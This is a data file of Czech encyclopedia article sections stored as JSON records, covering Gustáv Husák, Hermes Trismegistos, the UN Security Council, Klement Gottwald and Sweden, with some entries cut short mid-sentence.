Všehrd, která působí dodnes. Pseudonym si po Viktorinovi Kornelovi ze Všehrd zvolila překladatelka a spisovatelka Marie Kornelová, vlastním jménem Marie Hrubešová." ] }

{ "title": [ "Život.", "Mládí.", "Studia.", "Válečné období.", "Období 1945 až 1948.", "Věznění.", "Rehabilitace.", "Po roce 1968.", "Prezident ČSSR.", "Abdikace prezidenta.", "Konec života.", "V kultuře a jazyce (eponymie).", "V kultuře." ], "section_level": [ "1", "2", "2", "2", "2", "2", "2", "2", "2", "2", "2", "1", "2" ], "content": [ "", "Narodil se do rodiny Nikodéma Husáka (1881–1962) a jeho manželky Magdalény roz. Fratričové (1882–1914). Jeho původní křestní jméno bylo Augustín. Jeho otec pracoval jako dělník v kamenolomu a sezonní zemědělský dělník, avšak v první světové válce utrpěl těžší zranění a poté se živil jako rolník; krátce zastával i post starosty Dúbravky. Gustáv Husák svoji matku nepoznal, neboť zemřela na tuberkulózu, když mu byl jeden rok. Jeho otec se znovu oženil. Od roku 1929 Gustáv Husák pobýval v bratislavských internátech. Během práce ve studentském hnutí poznal v roce 1935 svoji budoucí první manželku Magdu Lokvencovou s kterou se 1. září 1938 oženil. Měli spolu syny Vladimíra (* 23. října 1944 Moskva) a Jána (1946–2004). Jeho první manželství skončilo rozvodem v roce 1960. Magda Husáková Lokvencová zemřela v roce 1966. Po smrti své první ženy se seznámil v roce 1966 s Vierou Millerovou, rozenou Čáslavskou, o deset let mladší než on. Zahynula 20. října 1977 při havárii vrtulníku na bratislavském letišti.", "V letech 1925–1933 studoval na Masarykově (dnešním Grösslingově) gymnáziu, kde patřil mezi premianty. Maturoval s vyznamenáním. V roce 1929, jako šestnáctiletý, vstoupil do Komunistického svazu mládeže a v roce 1933, jako student Právnické fakulty Univerzity Komenského v Bratislavě, měl vstoupit do Komunistické strany Československa. V roce 1937 absolvoval s vyznamenáním vysokoškolské studium. V roce 1938 byl promován a získal akademický titul JUDr. (doktor práv). Poté pracoval jako právnický koncipient v advokátní kanceláři Vladimíra Clementise. Později se uváděl i s titulem CSc. (kandidát věd). Vědecký titul kandidáta věd získal v Ústavu státu a práva československé Akademie věd v Bratislavě.", "Za druhé světové války byl odpůrcem Tisova Slovenského státu, byl členem hnutí odporu, aktivně se účastnil Slovenského národního povstání. Stal se místopředsedou povstalecké Slovenské národní rady a významným členem tehdy vzniklého Sboru pověřenců. V 1. Sboru pověřenců a 2. Sboru pověřenců zastával během povstání post pověřence vnitra (společně s Ivanem Štefánikem). Byl rovněž místopředsedou Komunistické strany Slovenska. Z léta 1944 se zachoval i Husákův dopis, v němž doporučoval, aby Slovensko bylo po válce zařazeno do svazku národů Sovětského svazu. V pozdější době zdůvodňoval svůj dopis tím, že se snažil jen vyvíjet tlak na československou exilovou vládu v Londýně, aby uznala slovenské národní požadavky, a měl tedy již tenkrát zastávat stanovisko, že Slovensko je nedílnou součástí Československa, byť má mít v tomto svazku značnou autonomii.", "Ve vrcholné politice setrval i po druhé světové válce. Ve 4. Sboru pověřenců a v 5. Sboru pověřenců byl opětovně pověřencem vnitra. V 6. Sboru pověřenců ustoupil na post pověřence dopravy a veřejných prací. V prvních poválečných parlamentních volbách v květnu roku 1946 zvítězila na Slovensku Demokratická strana, na rozdíl od českých zemí, kde zvítězili komunisté. Po podpisu třetí pražské dohody však všechna rozhodnutí Slovenské národní rady podléhala schválení celostátní československé vlády. Husák sám se stal předsedou 7. Sboru pověřenců, tedy prakticky slovenské autonomní vlády. Na podzim roku 1947 navíc vytlačil nátlakovými akcemi některé přední nekomunistické pověřence z jejich úřadů (8. Sbor pověřenců) a získal potom přímý vliv na řízení slovenské policie, jak pořádkové policie (Sboru národní bezpečnosti), tak tajné policie (StB). Po únoru 1948 navíc krátce zastával i post pověřence zemědělství.", "Po komunistickém převratu v roce 1948 byl zpočátku politicky úspěšný. Zůstal předsedou i poúnorového 9. Sboru pověřenců a zprvu také 10. Sboru pověřenců. Zlom nastal roku 1950, kdy byl spolu s Vladimírem Clementisem, Lacem Novomeským a mnoha dalšími obviněn z tzv. buržoazního nacionalismu. V květnu 1950 ztratil post předsedy Sboru pověřenců. V únoru 1951 byl zatčen a v sobotu 24. dubna 1954 byl v tzv. procesu s buržoazními nacionalisty, souzenými za velezradu, sabotáž a vyzvědačství, odsouzen za velezradu k doživotnímu trestu odnětí svobody. Po odsouzení čekal na přesun do věznice v Leopoldově v tajné věznici StB v prostorách bývalého Arcibiskupského gymnázia v Praze-Bubenči. Byl jedním z mála obžalovaných, kteří při procesu nedoznali i přes mučení žádnou vinu, což mu pravděpodobně zachránilo život. Kvůli tomu, že po každém mučení nakonec odvolal své přiznání, se rovněž protáhla příprava procesu. Rozsudek nad ním byl vynesen až po Stalinově a Gottwaldově smrti, a to možná také přispělo k tomu, že unikl trestu smrti.", "V roce 1960 byl po rozsáhlé amnestii prezidenta Antonína Novotného propuštěn a v roce 1963 plně rehabilitován. V průběhu 60. let byl Husák zpočátku jednou z význačných osobností reformního proudu v KSČ, v období tzv. pražského jara 1968 vystupoval jako stoupenec reforem. V dubnu roku 1968 se stal místopředsedou československé vlády, v níž pak byl jedním z předních iniciátorů ústavního zákona o federativním uspořádání republiky.", "Na moskevských jednáních v srpnu roku 1968, kterých se zúčastnil jako člen československé delegace pod vedením prezidenta Ludvíka Svobody, zvolil Husák pragmatický přístup a stal se tím mužem, kterému posléze dal sovětský vůdce Leonid Brežněv přednost před ostatními komunistickými politiky v Československu, zvláště před Alexandrem Dubčekem. V dubnu 1969 se dostal do čela KSČ. Do května roku 1971 byl formálně jejím prvním tajemníkem, poté se stal generálním tajemníkem KSČ. V této funkci setrval až do prosince 1987.", "Po odstranění prezidenta Ludvíka Svobody z funkce a volbách prezidenta Československa 1975 se Gustáv Husák stal na příštích 14 let prezidentem Československé socialistické republiky. Za Husákova vedení došlo počátkem 70. let k tzv. normalizaci ve všech oblastech politiky, kultury a hospodářství. V jejím rámci byly provedeny rozsáhlé personální čistky ve všech odvětvích společenského a hospodářského života. Místo dosavadních elit a odborníků nastoupili do státních a hospodářských funkcí často bezcharakterní kariéristé, což vedlo k celkovému úpadku většinové společnosti. Hlavním kritériem se často stávala schopnost přetvářky a nedostatek občanské statečnosti. Většina obyvatelstva již nebyla ochotna cokoliv udělat pro ideály, ke kterým se československá společnost hlásila koncem 60. let. Lidé, kteří se snažili proti režimu umírněně protestovat, se dostávali do izolace od většinové společnosti, která jejich úsilí často chápala jen jako zbytečnou provokaci. Naprostá většina obyvatelstva se víceméně „dobrovolně“ zúčastňovala naprosto nesvobodných a zmanipulovaných „voleb“. Lidé byli ochotní v rámci zachování svého dosavadního postavení podepsat prakticky jakékoliv prohlášení odsuzující či podporující cokoliv, a to výhradně podle vůle vládnoucí KSČ. Husákova normalizace se projevovala navenek mj. i opětným odstraňováním pomníků prezidenta Masaryka obnovených v letech 1968–1969. Byl trojnásobným nositelem titulu Hrdina Československé socialistické republiky (Zlatou hvězdou Hrdiny ČSSR vyznamenán v roce 1969, 1973 a 1983) a titulu Hrdina Sovětského svazu. Na přelomu 70. a 80. let se začal zhoršovat jeho zdravotní stav. Až do smrti byl velmi silným kuřákem (na veřejnosti se však s cigaretou objevoval sporadicky), což se spolu s předchozím vězněním na jeho zdraví citelně podepsalo. Cukrovka omezovala možnost operovat šedý zákal (komplikovaný celoživotní těžkou krátkozrakostí), který postoupil natolik, že mohl číst jen na čtecím stroji. Přesto operaci (na tehdejší dobu poměrně těžký zákrok) podstoupil a i přes velmi silné brýle, které později nosil, se mu zrak vrátil do přijatelných mezí. V roce 1987 se vzdal funkce generálního tajemníka ÚV KSČ, kdy jej v této funkci vystřídal Miloš Jakeš. Funkci prezidenta republiky však vykonával dál. Na svých posledních veřejných vystoupeních ve funkci prezidenta se objevoval opíraje se o hůl.", "Po listopadových událostech roku 1989 Husák jmenoval 10. prosince 1989 Čalfovu „vládu národního porozumění“ a vzápětí abdikoval z funkce prezidenta republiky. V listopadových dnech byl jedním z tehdejších československých politiků, kteří odmítli situaci řešit násilím, a přispěl tak ke klidnému průběhu převratu.", "Zemřel 18. listopadu 1991 na selhání srdeční a dýchací soustavy jako polozapomenutá osoba. Jeho pohřbu se zúčastnil i tehdejší předseda slovenské vlády Ján Čarnogurský, což vyvolalo kritiku především v českých zemích, kde to bylo vnímáno jako gesto úcty k Husákovým nacionálním postojům. Šlo o součást eskalace problémů mezi Čechy a Slováky v tomto období.", "", "\"Dr. Gustáv Husák\", inscenace slovenského divadla Aréna z roku 2006." ] }

{ "title": [ "Život.", "Thovt, Hermés, Henoch?", "Dílo." ], "section_level": [ "1", "1", "1" ], "content": [ "O životě Herma Trismegista existuje mnoho různých legend, ale nic konkrétního není známo, a to ani to, zda skutečně existoval. Přesto o jeho životě různí autoři psali. Ku příkladu arabský spisovatel z 12. století Ibu Arfa Ras tvrdí, že Hermes byl synem samotného Adama. Měl se údajně narodit v Číně, poté odcestovat do Indie a nakonec se usadit na Ceylonu, kde prý objevil jeskyni plnou různých pokladů. Byl tam i portrét jeho otce a Smaragdová deska (podle tohoto podání by autorem Smaragdové desky vlastně měl být sám Adam). V I. sv. „\"Histoire de la Philosophie Hermétique\"“, kterou napsal Leget du Fresnoy, se uvádí, že Hermes Trismegistos žil v roce 1996 př. n. l. v Egyptě jako egyptský král pod jménem Sifaos. To by časově zapadalo do tzv. I. přechodného období, ale žádný vládce toho jména není znám. Zmiňuje se o něm také sv. Augustin na konci VIII. svazku O Obci boží. Hermes se v jeho podání považuje za vnuka boha Herma a přestože ví, že egyptští bohové jsou lidmi stvořené modly, truchlí nad jejich budoucí ztrátou (s nástupem křesťanství).", "Hermés Trismegistos bývá také ztotožňován s egyptským bohem Thovtem (též Thot, Džehutej nebo též Ezhovtej), což vzniklo z identifikace Thovta s řeckým bohem Hermem. Později byl ztotožňován i s biblickým Henochem. O možné totožnosti těchto postav se vedou různé spory - H. Biedermann (Handlexikon der magische Künste, Graz 1986, str. 202) soudí, že jméno Hermés Trismegistos pochází ze „\"synkretického duchovního světa helénistické Alexandrie a označuje egyptského boha moudrosti Thota, který měl zanechat četné spisy o tajných vědách, medicíně, umění rozlučování kovů a alchymii atd. a na jehož moudrosti spočívá také Tabula Smaragdina\".“ Na druhé straně např. významný český hermetik Pierre de Lasenic tvrdí, že existovali dokonce tři mudrci toho jména a až poslední z nich, který žil za časů Mojžíše, byl oním Hermem Trismegistem, který napsal mnohá pojednání o hermetismu. Upozorňuje ale také, že na otázku zde Hermes či Thovt byli jednou osobou nebo několika nejde odpovědět kategoricky. Nabízí proto tři teorie:", "Hermes Trismegistos je považován předně za tvůrce alchymie a sami alchymisté se k němu často hlásili (přitom ve spisech z Corpus Hermeticum nejde ani tak o alchymii jako spíše o druh specifické přírodní filosofie). Bývá mu také připisován vynález písma (které měl vynalézt egyptský Thovt), což ovšem závisí na tom, zda dotyčný autor Herma s Thovtem ztotožňuje či nikoli. Jemu připisované dialogy, které jsou součástí Corpus Hermeticum, mají často formu rozhovorů mezi ním a jeho synem Tatem. Mimo to je mu připisována i velice populární Smaragdová deska, která byla od středověku hojně komentována (leč do Corpus Hermeticum nepatří) a je považována za jeden ze základních textů o alchymii či hermetismu obecně. Existuje ještě další množství spisů, kterých by měl být autorem, zpravidla se však jedná o díla pocházející minimálně ze středověku." ] }

{ "title": [ "Kompetence Rady bezpečnosti.", "Historie.", "Společnost národů.", "Vznik Organizace spojených národů.", "Členové.", "Stálí členové.", "Nestálí členové.", "Reforma Rady bezpečnosti.", "Právo veta." ], "section_level": [ "1", "1", "2", "2", "1", "2", "2", "1", "1" ], "content": [ "Tento orgán zasedá stále a do jeho kompetence patří: Rada bezpečnosti jako jediný orgán může nařídit použití síly při řešení ohrožení míru.", "", "Po 1. světové válce se vítězné mocnosti (USA, Velká Británie, Francie, Itálie a Japonsko) snažily navrátit světu jeho rovnováhu. Nástrojem, který by tohoto cíle měl dosáhnout, byl podle amerického prezidenta T. Woodrowa Wilsona založení mezinárodní organizace Společnosti národů. Ta však neměla žádné prostředky na potrestání agresorů (např. itasko-etiopská válka). Jako konečný nezdar se dá považovat vypuknutí 2. světové války.", "Charta OSN byla podepsána 26. června 1945 na mezinárodní \"Konferenci Spojených národů o mezinárodním uspořádání\" v San Francisku 50 zakládajícími státy. Oficiálně vznikla 24. října 1945. kdy byla ratifikována většinou zakládajících členů.", "Rada bezpečnosti je patnáctičlenná. Pět členů jsou tzv. stálí členové se zvláštními pravomocemi, zbylých 10 členů (nestálí členové) je voleno Valným shromážděním OSN na dvouleté období a to tak, že každým rokem se obmění pět členů. Zajímavým faktem je, že všech pět stálých členů Rady bezpečnosti je shodných s pěti jadernými mocnostmi, které jsou signatáři Smlouvy o nešíření jaderných zbraní.", "Pět stálých členů představovalo vítězné velmoci po druhé světové válce. Byly to: Čína byla reprezentována Čínskou republikou na ostrově Tchaj-wan. Od roku 1971 je Čína v OSN a tedy i v Radě bezpečnosti zastoupena pevninskou Čínskou lidovou republikou. Po rozpadu Sovětského svazu v roce 1991 zaujalo post stálého člena Rady bezpečnosti Rusko. Aktuálními stálými členy Rady bezpečnosti jsou:", "Nestálé členy Rady bezpečnosti volí Valné shromáždění na svém každoročním podzimním zasedání a zvolení členové nastupují do Rady k 1. lednu nadcházejícího roku. Jsou stanoveny regionální skupiny zemí, které navrhují ze svého středu jednu nebo několik kandidátských zemí. \"Afrika\" vysílá do Rady bezpečnosti tři nestálé členy, \"Asie\", \"Latinská Amerika\" a \"západní Evropa\" po dvou nestálých členech a \"východní Evropa\" (kam spadá ČR) jednoho zástupce. Jedním ze zástupců musí být \"arabská země\" spadající střídavě pod Afriku nebo Asii. Žádná země nemůže být zvolena do Rady bezpečnosti dvakrát bezprostředně po sobě, vždy musí následovat alespoň jednoletá přestávka. Nestálými členy Rady bezpečnosti byly v období 1. 1. 2015 – 31. 12. 2016 státy: Nestálými členy Rady bezpečnosti byly v období 1. 1. 2017 – 31. 12. 2018 státy: 1. 1. 2016 – 31. 12. 2017: 1. 1. 2017 – 31. 12. 2018: Aktuálními nestálými členy Rady bezpečnosti jsou: 1. 1. 2019 – 31. 12. 2020: 1. 1. 2020 – 31. 12. 2021: Zástupci všech členských zemí Rady bezpečnosti musejí být stále přítomni v newyorském sídle OSN, aby se Rada mohla v případě potřeby kdykoliv sejít ke svému zasedání. Předsednictví v radě se střídá po měsíci, podle abecedního pořádku anglických názvů zemí.", "V současné době probíhá diskuse o rozšíření stálého členství v Radě bezpečnosti. Nejsilnější předpoklady pro obsazení nových míst mají tyto státy: Brazílie, Indie, Japonsko a Německo. Brazílie je největší zemí latinské Ameriky. Indie je největší demokracií na světě a druhou nejlidnatější zemí na světě. Navíc má třetí největší armádu na světě a vlastní jaderné zbraně. Japonsko a Německo patří mezi největší přispívatele do rozpočtu OSN. Projekt rozšíření má mnoho kritiků. Mezi nejhlasitější odpůrce patří Argentina, Itálie, Jižní Korea, Mexiko a Pákistán. Evropští odpůrci prosazují místo německého křesla křeslo pro Evropskou unii. Uvažuje se ještě o rozšíření o členské státy z Africké unie (Egypt, Nigérie a Jihoafrická republika) a muslimský stát.", "Nejvýznamnější zvláštní pravomocí stálých členů RB OSN je neomezené právo veta, kdy kterýkoliv z nich může zablokovat jakékoliv rozhodnutí RB OSN. Toto veto nelze žádným způsobem obejít. Mezi lety 1946 a 2016 bylo veto použito v celkem 195 případech (v některých otázkách jej použilo více členů současně). K roku 2016 použilo veto nejvícekrát Rusko (90 z nich jako Sovětský svaz). Sovětský ministr zahraničí z let 1957–1985 Andrej Andrejevič Gromyko, jenž uplatnil nejvíce vet v Radě bezpečnosti, získal od západních diplomatů přezdívku „Mr. Nět“ (Pan Ne)." ] }

{ "title": [ "Život.", "Dětství a mládí.", "Osobní život.", "První světová válka.", "Funkcionář tělovýchovy.", "Počátky politické činnosti.", "Emigrace do SSSR.", "Návrat do Československa.", "Prezident.", "Smrt.", "Mumifikace.", "Zpopelnění.", "Obraz Klementa Gottwalda v kultuře." ], "section_level": [ "1", "2", "2", "2", "2", "2", "2", "2", "2", "1", "2", "2", "1" ], "content": [ "", "Klement Gottwald se narodil v Herolticích u Vyškova jako nemanželský syn chudé zemědělské dělnice Marie Gottwaldové. Jeho narození je ale zapsáno v rodné matrice pro Dědice a jako adresa narození je uvedeno Dědice 102. Přesné místo narození je nejasné. Před první světovou válkou se vyučil ve Vídni truhlářem, zároveň se účastnil činnosti mezi sociálnědemokratickou mládeží.", "Klement Gottwald byl ženatý s Martou Gottwaldovou, která podobně jako on pocházela z chudé rodiny sedláka a byla také nemanželským dítětem. I když jeho žena při něm stála a byla jeho věrnou společnicí, nikdy nevstoupila do KSČ. Dceru Martu (1920–1998) měli za svobodna, sezdáni byli až 21. března 1928. Jejich dcera byla manželkou Alexeje Čepičky.", "V letech 1915–1918 byl vojákem rakousko-uherské armády. Traduje se, že bojoval v bitvě u Zborova, což by znamenalo, že zde stál i proti budoucímu generálu a prezidentu Ludvíku Svobodovi, který bojoval na straně čs. legií. Podle vojenského historika Aleše Knížka to sice nelze vyloučit, ale ani potvrdit. Tomáš Jakl z Vojenského historického ústavu označil Gottwaldovu účast u Zborova za legendu – Gottwald měl být v době bitvy v nemocnici ve Vídni. V létě roku 1918 Gottwald z rakouské armády dezertoval. Po vzniku samostatného Československa sloužil dva roky v Československé armádě. V letech 1920–1921 pracoval v Rousínově jako stolařský dělník.", "Po roztržce ve Svazu dělnických tělovýchovných jednot (SDTJ) si komunisticky zaměřená část jednot vytvořila v roce 1921 novou organizaci, Federaci dělnických tělovýchovných jednot (FDTJ). Gottwald dokázal získat všechny jednoty svého okresu do nové organizace a byl starostou 20. okresu FDTJ. V červnu 1921 své jednoty přivedl na I. dělnickou spartakiádu v Praze na Maninách. V září 1921 z Rousínova odešel do Banské Bystrice, kde se stal redaktorem komunistického časopisu \"Hlas ľudu\". Zároveň začal se zakládáním jednot na okrese Banská Bystrica a v místní jednotě byl zároveň místostarostou. Byl jednatelem 47. okresu FDTJ, na listopadové konferenci slovenské FDTJ byl zvolen jednatelem XIII. župy se sídlem v Žilině a brzy poté se stal vedoucím redaktorem časopisu \"Spartakus\". V roce 1922 se přestěhoval do Vrútek, kam se rozhodnutím ÚV KSČ přestěhovala redakce několika komunistických časopisů. Ve Vrútkách sídlila i župa FDTJ pro Slovensko a Podkarpatskou Rus, jejíž byl jednatelem. V roce 1924 byly redakce přestěhovány do Ostravy, přesídlil tam i Gottwald.", "Do roku 1926 byl funkcionářem komunistické strany na Slovensku a redaktorem komunistického tisku. V květnu roku 1924 ve Frýdku na komunisty svolaném táboru lidu veřejně kritizoval majetkovou politiku radnice a byl za to potrestán třemi dny žaláře. V letech 1926–1929 pracoval v pražském sekretariátu KSČ a podařilo se mu zformovat promoskevskou opozici proti jejímu tehdejšímu vedení. Od roku 1928 byl členem vedoucího orgánu Kominterny, její exekutivy, tj. její výkonné složky. V únoru roku 1929, na jednání V. sjezdu KSČ, se společně s Guttmannem, Švermou, Slánským, Kopeckým a Reimanem (tzv. karlínští kluci) dostali do vedení strany. Téhož roku se stal poslancem Národního shromáždění. Ve 2. polovině 30. let provedl v politice KSČ řadu změn podle změn zahraniční politiky Sovětského svazu, konkrétně politiky lidové fronty a obrany proti fašismu určené na VII. kongresu Kominterny v létě roku 1935. V září a říjnu roku 1938 patřil k hlavním představitelům opozice proti přijetí Mnichovského diktátu.", "Po zákazu KSČ emigroval v listopadu roku 1938 do Sovětského svazu, kde pak až do roku 1941 zastával politiku odpovídající sovětsko-německému paktu ze srpna roku 1939. Po napadení Sovětského svazu v roce 1941 bral vytváření protihitlerovské koalice jako svoji velkou příležitost prosadit se a začínal promýšlet pozdější převzetí moci v Československu. V prosinci roku 1943 se dohodl s představitelem londýnské emigrace prezidentem dr. Edvardem Benešem na sjednocení domácího a zahraničního protinacistického odboje. Po skončení války se mu pak podařilo zajistit komunistům zásadní vliv na poválečné uspořádání Československa.", "10. května roku 1945 se vrátil do Prahy jako místopředseda československé vlády a předseda Národní fronty. Od stejného roku až do své smrti byl zároveň předsedou KSČ. Po vítězství KSČ v prvních poválečných volbách roku 1946 byl pověřen sestavením vlády. Na podzim roku 1947 už bylo zřejmé, že komunisti jsou hrozbou pro demokracii. V únoru 1948, kdy nastala vládní krize kolem usnesení o Bezpečnosti z 13. února 1948, došlo k sérii událostí, které vedly k úplnému převzetí moci ve státě. Tyto události byly završeny 25. února, kdy prezident přijal v rozporu s ústavou demisi nekomunistických ministrů a doplnil vládu kandidáty navrženými komunisty. Následně byla 11. března 1948, jeden den po úmrtí nestranického ministra zahraničí Jana Masaryka, potvrzena nová komunistická vláda, 9. května přijata nová komunistická ústava vyhlašující lidově demokratickou republiku, kterou prezident dr. Edvard Beneš odmítl podepsat a 30. května proběhly volby s vynucenou účastí a s možností volit jen z jednotného seznamu kandidátů komunisty ovládané Národní fronty.", "14. června roku 1948 byl po abdikaci prezidenta dr. Edvarda Beneše, který odmítl podepsat komunistickou Ústavu 9. května, zvolen československým prezidentem. V zemi pak začali rozhodovat a fakticky vládnout sovětští poradci. V ekonomice byla prosazena koncepce těžkého průmyslu a násilná kolektivizace zemědělství, byl zaveden monopol komunistické moci na školství, vědu a kulturu. Hlavní zájem poradců byl soustředěn hlavně na bezpečnost, armádu, prokuraturu a soudy. Za jeho vlády došlo na počátku padesátých let k mnoha politickým vykonstruovaným procesům, byl rozpoután politický teror: bylo vyneseno přes 230 rozsudků smrti, přes sto tisíc občanů bylo odsouzeno k doživotí či mnohaletým vězením. Kárnými vojenskými jednotkami PTP (Pomocné technické prapory) prošly desítky tisíc „protistátních živlů“. Nakonec poslal na šibenici i jedenáct ze svých nejbližších předních komunistických funkcionářů v čele s Rudolfem Slánským. I přes řadu intervencí v její prospěch neudělil milost Miladě Horákové a potvrdil rozsudek smrti.", "11. března 1953 se první dělnický prezident vrátil leteckým speciálem ze Stalinova pohřbu. Po přistání si postěžoval předsedovi vlády Antonínu Zápotockému, že mu není příliš dobře. Myslel si, že má jen chřipku, ale skutečnost byla vážnější. Ačkoliv to bylo přísně tajeno, byl závislý na alkoholu a trpěl syfilidou. Tyto problémy byly zřejmě příčinou aneurysmatu, tedy výdutě srdeční aorty, na jejíž následky o tři dny později, tj. 14. března 1953, zemřel.", "Jeho tělo bylo uloženo v mauzoleu původně předpokládaném pro prezidenta Tomáše Garrigua Masaryka v uzpůsobeném Národním památníku na pražském vrchu Vítkově. Tělo bylo v letech 1953 až 1962 vystavováno návštěvníkům podobně jako Leninovo. Navzdory široce rozšířenému mýtu o špatně provedené balzamaci bylo tělo v okamžiku odstranění z památníku v perfektním stavu, což plyne z odtajněné zprávy o doplňující balzamaci provedené sovětskými odborníky v roce 1961.", "Tělo bylo vyňato z památníku a zpopelněno v roce 1962 na základě politického rozhodnutí souvisejícího s nákladností provozu mauzolea a kritikou kultu osobnosti v ČSSR. Již rozšířené zvěsti o špatném stavu těla však byly použity jako zdůvodnění před stalinisticky smýšlející frakcí komunistů. Urna s popelem byla uložena v kamenném sarkofágu opět v Národním památníku. Po sametové revoluci byla přemístěna spolu s urnami dalších významných členů KSČ do společného hrobu č. 137 na Olšanských hřbitovech.", "K 90. výročí narození Klementa Gottwalda natočila Československá televize pětidílný seriál podle scénáře Jaroslava Matějky v režii Evžena Sokolovského s Jiřím Štěpničkou v roli Gottwalda. Kandidáty na hlavní roli byli např. Pavel Havránek, herec Ypsilonky, který však roli odmítl, nebo Oldřich Vlach. Jiřímu Štěpničkovi nabídl režisér roli Gottwalda údajně proto, aby mu pomohl vylepšit pošramocený kádrový profil. Po roce 1989 vzniklo několik filmů, které se zabývaly obdobím 1945 - 1953, které bylo klíčové jak pro Československo, tak pro Klementa Gottwalda samotného. Klementa Gottwalda představovali:" ] }

{ "title": [ "Etymologie.", "Dějiny.", "Geografie.", "Topografie.", "Geologie.", "Podnebí.", "Flóra, fauna, ochrana životního prostředí.", "Politika.", "Soudní systém.", "Ozbrojené síly.", "Administrativní dělení.", "Ekonomika.", "Zemědělství.", "Doprava.", "Obyvatelstvo.", "Jazyk.", "Urbanizace.", "Náboženství.", "Imigrace.", "Kultura.", "Literatura.", "Hudba.", "Výtvarné umění.", "Film.", "Památky.", "Kuchyně.", "Sport.", "Věda a školství." ], "section_level": [ "1", "1", "1", "2", "2", "2", "2", "1", "2", "2", "2", "1", "2", "2", "1", "2", "2", "2", "2", "1", "2", "2", "2", "2", "2", "2", "2", "1" ], "content": [ "Název země (Sverige) se odvozuje od germánského kmene Sveů (švédsky \"svear\", latinsky \"suiones\"), který ve středověku obýval oblast centrálního", "Území Švédska bylo obýváno již v době bronzové. Nejstarší obyvatelé byli zřejmě lovci a sběrači, kteří se živili tím, co jim poskytovalo moře (dnes označované jako Baltské moře). Není známo, kdy Švédské království vzniklo, ale už v roce 98 n. l. římský historik Tacitus píše o panovníkovi, který vládl nad zemí \"Svealand\". Historici ale většinou považují za vznik Švédska spojení území Svealand a Götaland pod jednoho panovníka, krále jménem Erik Vítězný (970–995). Začátkem středověku patřili Švédové mezi Vikingy. Švédští Vikingové pronikající na východ byli známí jako Varjagové a v Rusku založili vládnoucí dynastii Rurikovců. Pokřesťanštění v 11. a 12. století přispělo ke vzniku jednotného švédského státu. Švédské křížové výpravy proti pohanským kmenům začlenily ve 13. století do švédského státu i území dnešního Finska. V roce 1389 se tři státy Norsko, Dánsko a Švédsko sjednotily do jedné monarchie (tzv. Kalmarská unie). V 15. století vzdorovali Švédové snaze", "Švédsko sousedí s Kattegatem, státy Norsko a Finsko a Baltským mořem; od otevření mostu přes Öresund v roce 2000 existuje také přímé pozemní spojení s Dánskem. Švédsko má asi 221 800 ostrovů, tři největší jsou Gotland (2994 km2) a Öland (1347 km2, oba v Baltském moři) a Orust (346 km2, severně od Göteborgu). Největší délka Švédska od severu k jihu je 1572 km, z východu na západ 499 km. Pozemní hranice s Norskem je dlouhá 1619 km, s Finskem 586 km. Švédsko se dělí na tři hlavní oblasti. Norrland zabírá na severu asi tři pětiny země. Jedná se o hornatou krajinu s rozlehlými lesy a velkými zásobami rud. Svealand má zvlněné hřebeny ledovcového původu a většinu z více než 90 tisíc švédských jezer. Götaland na jihu zahrnuje kamenité vrchoviny Smålandu a bohaté roviny Skåne. Asi 15 % území Švédska leží za Severním polárním kruhem. Jižní část země je převážně zemědělská, směrem na sever se zvyšuje podíl lesů. Zatímco velké části země jsou ploché až kopcovité, podél norských hranic se Skandinávské pohoří zvedá na více než 2000 m n. m. Nejvyšším vrcholem je Kebnekaise s asi 2 097 m. Po celém Švédsku se nachází 30 národních parků. Největší parky leží na severozápadě země.", "Jižní a střední Švédsko (Götaland a Svealand), které pokrývá dvě pětiny Švédska, je rozděleno z jihu na sever na tři velké části, severní Švédsko (Norrland), které zahrnuje zbývající tři pětiny, je rozděleno od západu na východ na tři části. Nejdelší řeky ve Švédsku jsou Klarälven, Torne, Dalälven, Ume a Ångermanälven. Největší jezera jsou Vänern, Vättern, Mälaren a Hjälmaren. Nejjižnější část, historická \"provincie Skåne\", je pokračováním Středoevropské nížiny severního Německa a Dánska. Ve Skåne je nejnižší bod Švédska (bez vodstva) 2,4 metrů pod hladinou moře a nejjižnější bod Švédska, Smygehuk. Severně od ní se rozprostírá \"jižní švédská vysočina\", náhorní plošina obklopená zvlněnými kopci s velkým počtem protáhlých jezer vytvořených ledovcovou erozí. Třetí hlavní", "Největší část švédského území s výjimkou jihozápadního výběžku a hraničního hřebene Skandinávského pohoří náleží k Baltskému štítu, složeného především ze žul a rul. Ledovec, který pokrýval celé Švédsko a dosahoval mocnosti až 3000 m, odstranil pokryv starých zvětralin, zbrousil krystalické horniny skalního podkladu do zaoblených tvarů a zanechal po sobě rozsáhlé morény. Hlinitojílovité nánosy z tavných vod ledovce a mořských usazenin dnes představují nejlepší orné půdy ve Švédsku – vyskytují se především ve středním Švédsku mezi Stockholmem a Göteborgem. V Jämtlandu a částech středního a jižního", "Švédské klima je pro svou geografickou polohu poměrně mírné. Je určováno hlavně blízkostí Atlantského oceánu s teplým Golfským proudem. Velké části Švédska mají proto vlhké klima s bohatými srážkami a relativně nízkými teplotními rozdíly mezi létem a zimou. Kontinentální podnebí ovlivněné podnebím s menšími srážkami a vyššími teplotními rozdíly lze nalézt ve vnitrozemí jižních švédských vysočin a v některých částech podhůří Skandinávského pohoří. Polární klima se vyskytuje pouze", "V severním Švédsku dominují boreální jehličnaté lesy. Od jihu k severu se siluety stromů v důsledku adaptace na delší zimy stále zmenšují. Zvyšuje se podíl bříz, které tvoří přechod k bezlesým skandinávským fellům a úplnému severu. Čím více se přichází na jih, tím častěji jsou smíšené lesy. Čistě listnaté lesy se vyskytují pouze v jižním Švédsku. Mnohé z nich však musely ustoupit rychle rostoucímu zemědělství nebo byly nahrazeny jehličnatými lesy. Výraznou příhraniční oblastí flóry a fauny je biologické hraniční pásmo zvané \"limes norrlandicus\". Na ostrovech Gotland a Öland se v důsledku klimatických a geologických podmínek vyskytuje zvláště bohatá flóra. Existuje zde jedinečný mix, včetně existence rostlin, které se jinak v Evropě vyskytují pouze na Balkáně. Za zmínku stojí zejména četné druhy orchidejí. V jižním Švédsku se opět stihli silně rozšířit divočáci, i když byli v 18. století zcela vyhubeni. Po vypuštění divokých prasat v 40. letech 20. století se v 70. letech vytvořila životaschopná divoká populace, která má dnes přibližně 80 000–100 000 zvířat. Populace od 90. let", "Švédsko je konstituční monarchií a králem je Carl XVI. Gustaf. Role krále je pouze ceremoniální a reprezentační, poslední zbytky moci ztratil monarcha v roce 1974. Král zahajuje výroční zasedání parlamentu, předsedá Zvláštní radě, která se schází během změny vlády, pořádá pravidelné informační schůzky s předsedou vlády a předsedá zasedáním Poradní rady pro zahraniční věci (\"Utrikesnämnden\"). Zákonodárná moc je svěřena 